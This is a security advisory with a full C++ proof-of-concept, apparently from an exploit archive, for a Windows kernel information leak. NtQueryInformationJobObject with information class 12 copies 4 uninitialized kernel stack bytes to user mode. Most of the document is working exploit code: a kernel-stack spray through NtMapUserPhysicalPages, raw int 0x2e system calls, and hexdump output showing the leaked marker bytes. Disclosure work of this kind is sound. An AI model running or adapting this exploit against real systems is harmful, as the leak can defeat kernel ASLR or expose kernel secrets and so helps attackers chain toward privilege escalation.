Microsoft Windows - 'nt!NtQueryInformationJobObject (information class 12)' Kernel Stack Memory Disclosure

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1193

We have discovered that the nt!NtQueryInformationJobObject system call (corresponding to the documented QueryInformationJobObject() API function) called with the 12 information class discloses portions of uninitialized kernel stack memory to user-mode clients.

The specific name of the 12 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on Windows 10 1607 32-bit, output sizes of 48 and 56 bytes are accepted. In both cases, 4 uninitialized kernel stack bytes are leaked at the end of the structure (at offsets of 0x2C or 0x34, respectively).

The attached proof-of-concept program demonstrates both disclosures by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=12 and the allowed output sizes. An example output is as follows:

--- cut ---
Class 12, output length 48:
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
Class 12, output length 56:
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---

It is clearly visible here that in both responses, 4 bytes copied from ring-0 to ring-3 remained uninitialized.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;

  // Create a job object to operate on.
  HANDLE hJob = CreateJobObject(NULL, NULL);

  // Spray the kernel stack with a marker value, to get visible results.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 48).
  DWORD ReturnLength = 0;
  BYTE output[56] = { /* zero padding */ };

  NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 48, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#1 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print out the output.
  printf("Class 12, output length 48:\n");
  PrintHex(output, ReturnLength);

  // Spray the kernel again before invoking the affected system call.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 56).
  ZeroMemory(output, sizeof(output));

  st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 56, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#2 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print the output again.
  printf("Class 12, output length 56:\n");
  PrintHex(output, ReturnLength);

  // Free resources.
  CloseHandle(hJob);

  return 0;
}